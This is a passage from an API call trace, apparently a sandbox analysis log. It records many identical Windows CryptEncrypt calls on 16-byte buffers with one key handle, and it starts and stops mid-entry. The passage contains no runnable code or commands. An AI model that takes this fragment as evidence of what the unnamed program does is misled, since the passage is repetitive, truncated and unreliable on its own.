pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.982] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.983] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 